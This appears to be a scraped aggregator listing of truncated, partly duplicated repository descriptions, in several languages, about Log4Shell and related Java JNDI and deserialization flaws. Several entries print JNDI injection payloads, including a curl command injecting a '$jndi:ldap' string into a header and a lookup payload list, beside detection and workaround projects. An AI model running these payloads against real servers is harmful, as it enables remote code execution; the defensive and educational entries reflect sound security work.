CVE-2026-12351

IBM MQ 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 LTS, and 10.0.0.0 could allow a remote attacker to execute arbitrary code due to unsafe JNDI lookup processing when the IVT application is deployed...

EUVD-2026-78881

IBM MQ 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 LTS, and 10.0.0.0 could allow a remote attacker to execute arbitrary code due to unsafe JNDI lookup processing when the IVT application is deployed...

CVE-2026-12351

IBM MQ 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 LTS, and 10.0.0.0 could allow a remote attacker to execute arbitrary code due to unsafe JNDI lookup processing when the IVT application is deployed...

CVE-2021-44228-Log4j-lookup-Rce

0x01、環境 Jdk7u21（任意バージョンで可） 影響バージョン：Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc root@kitploit: import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static void mainStri...

log4shell-rex

Log4Shell-Rex 아래의 RegEx는 Log4Shell CVE-2021-44228 및 CVE-2021-45046 악용의 지표와 일치하도록 작성되었습니다. 2021/12/21 이전 버전을 실행 중이라면 테스트하고 업데이트하는 것이 좋습니다. 몇 가지 결함을 제거하고 성능을 향상시켰습니다. 이 Regex는 PCRE 호환을 목표로 하지만, re2 및 잠재적으로 더 많은 RegEx 엔진에서도 실행되어야 합니다. RegEx: regex...

CVE-2021-44228

CVE-2021-44228 分析 どのように動作するか？ 以下は、log4shell脆弱性を悪用したリモートインジェクションの詳細なプロセスです。 まず、知っておくべき3つの部分があります。 1. Log4j2は、メッセージルックアップ置換 と呼ばれる機能を使用してデータのログ記録を可能にします。これにより、ログメッセージにはさまざまなソースから動的に取得されたデータを含めることができます。（JNDIルックアップをサポート） 2. JNDIルックアップ : Java Naming and Directory Interface JNDI...

Log4j_CVE-2021-45046

Log4j 2.15.0 特権昇格 -- CVE-2021-45046 攻撃 説明 Apache Log4j 2.15.0 における CVE-2021-44228 の修正が、特定の非デフォルト構成では不完全であることが判明しました。これにより、Thread Context Map MDC 入力データを制御できる攻撃者が、ログ設定でデフォルト以外の Pattern Layout に Context Lookup 例: $$ctx:loginId または Thread Context Map パターン %X, %mdc, %MDC を使用している場合に、JNDI Lookup...

log4shell-demo

Log4Shell CVE-2021-44228 に対して脆弱なシンプルなSpring Bootアプリケーション デフォルトのロギングフレームワークをlogbackからlog4j2に変更 アプリケーションは'User-Agent'ヘッダーをログに記録するため、curlと、例えば interactsh-service を使用して脆弱性をテストできます。 root@kitploit: curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ app.interactsh.com でDNSインタラクションが確認できるはずです。...

log4j-shell-csw

Log4j シンプルなエクスプロイト CVE-2021-44228 脆弱性に対する概念実証エクスプロイト。 Log4j はセキュリティおよびパフォーマンス情報のログ記録に使用され、Java を使用する様々なコンシューマーおよびエンタープライズサービス、ウェブサイト、アプリケーション、さらには医療機器やサポートシステムにわたる30億以上のデバイスに影響を与えます。 注記: これは「ポイントアンドクリック」のエクスプロイトではありません。初期トリガーペイロードは生成されますが、それを適切な場所（HTTP ヘッダー/チャット/等）に注入するのはユーザーの責任です。 前提条件 python3 p...

Log4j2-CVE-2021-44228

CVE-2021-44228 Remote Code Injection In Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml default use : root@kitploit: org.springframework.boot spring-boot-starter-web mvn dependency:tree root@kitploit: INFO | | +-...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 実行方法？ root@kitploit: php log4j.php https://1337.com 必要条件 PHP CURL PAYLOAD DNS LOG Burpsuite Collaborator または dnslog.cn を使用 ペイロード一覧 root@kitploit: $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId $docker:containerName $docker:imageName...

CVE-2021-45046

tejas-nagchandi/CVE-2021-45046 攻撃 説明 Apache Log4j 2.15.0 における CVE-2021-44228 を修正するための対策が、特定の非デフォルト構成では不完全であることが判明しました。ロギング構成が非デフォルトの Pattern Layout を、Context Lookup（例: $$ctx:loginId）または Thread Context Map パターン（%X、%mdc、%MDC）のいずれかとともに使用している場合、Thread Context Map（MDC）入力データを制御できる攻撃者は、JNDI Lookup...

log4j-CVE-2021-44228-workaround

log4j-CVE-2021-44228-变通方案 A. 解决方案说明 本项目为 log4j CVE-2021-44228 漏洞提供了一个通用变通方案，适用于短期内无法重建项目或修补 log4j-core jar 包的场景。 其背后的思路很简单：我们通过 Java 运行时参数 "-Xbootclasspath/a" 强制类加载器加载一个 "空版本" 的 JndiLookup 类。 因此，整个变通方案仅包含这一个类 "org.apache.logging.log4j.core.lookup.JndiLookup.java"，并且没有其他依赖项。 为了方便通过 Maven 编译和打 jar...

log4j-cve-2021-44228-sample

log4j 익스플로잇 예제 이 저장소는 최근 log4j 익스플로잇을 악용하는 실제 작동 샘플을 포함하고 있습니다. 실제 원격 코드 실행을 수행하지는 않지만, 악의적인 사용자가 취약한 애플리케이션을 통해 자신의 LDAP 서버를 호출하도록 할 수 있는 쉬운 방법을 보여줍니다. 이 예제는 christophetd가 만든 훌륭한 log4j 취약 샘플 애플리케이션을 사용합니다: https://github.com/christophetd/log4shell-vulnerable-app 설명 이 취약점은 log4j의 lookup 기능, 특히...

hka-seminar-log4shell

セミナー論文 - Log4Shell脆弱性デモンストレーション CVE-2021-44228 セキュリティに関する注意事項 このリポジトリは、セキュリティ関連のセミナー論文の一環として、教育およびデモンストレーション目的のみ に使用されます。本コードを本番環境や明示的な許可なしにシステムに対して使用しないでください。この構成は、ロギング、名前解決、クラスの動的ローディングといった一見無害な機能が組み合わさると、どのように複雑な脆弱性が生じるかを示し、セキュリティ意識を高めることを目的としています。 目次 1. プロジェクト概要 1.1 セミナー論文の目的 1.2 デモンストレーションの概...

Get-log4j-Windows-local

Get-log4j-Windows-local.ps1 単一のローカル Windows サーバー上のすべての log4j コンポーネントを特定します。CVE-2021-44228。単発使用のコピーです。複数台のコンピューターについては https://github.com/KeysAU/Get-log4j-Windows.ps1 を参照してください。 Apache log4j CVE-2021-44228 スクリプトの実行: エクスポート: 列 A - I: 続き: 説明: root@kitploit: ローカルサーバー単体向けの実行バージョンです。 ローカルサーバーに作業ディレクトリ...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228 Apache Log4j 원격 코드 실행 모든 log4j-core 버전 =2.0-beta9 및 현재 Java 버전에 의존하지 마십시오. Log4를 업데이트하거나 또는 JNDI lookup을 제거하십시오. 확장을 비활성화하십시오 어쨌든 꽤 나쁜 생각인 것 같습니다. rc1 우회 예: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...

fastjson-1.2.61-RCE

fastjson-1.2.61-RCE PS： 公式はhttps://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java において、0x7bddd363ad3998c6L （すなわち1.2.61 8925522461579647174 0x7bddd363ad3998c6L...

CVE-2023-21839

CVE-2023-21839 Análisis Esta vulnerabilidad se debe a que, tras vincular un objeto mediante el protocolo t3 o iiop, al invocar el método lookup o list se activa el método getReferent del objeto vinculado. Pila de llamadas del protocolo t3 root@kitploit: getObjectInstance:96, WLNamingManager...

log4j-CVE-2021-44228

log4j-CVE-2021-44228 2021年12月5日，Apache在其广泛使用的Log4j日志服务中发现了一个漏洞（后确定为CVE-2021-44228），又名Log4shell。该漏洞使攻击者能够完全控制受影响的服务器，通过允许未经验证的远程代码执行，前提是用户运行的是使用Java日志库的应用程序。Log4j被大量集成到广泛的DevOps框架、企业IT系统以及供应商软件和云产品中。 在恶意远程主机上执行以下操作，以检查您的服务器是否易受Log4j漏洞利用： curl vulnserver:port -H 'X-Api-Version:...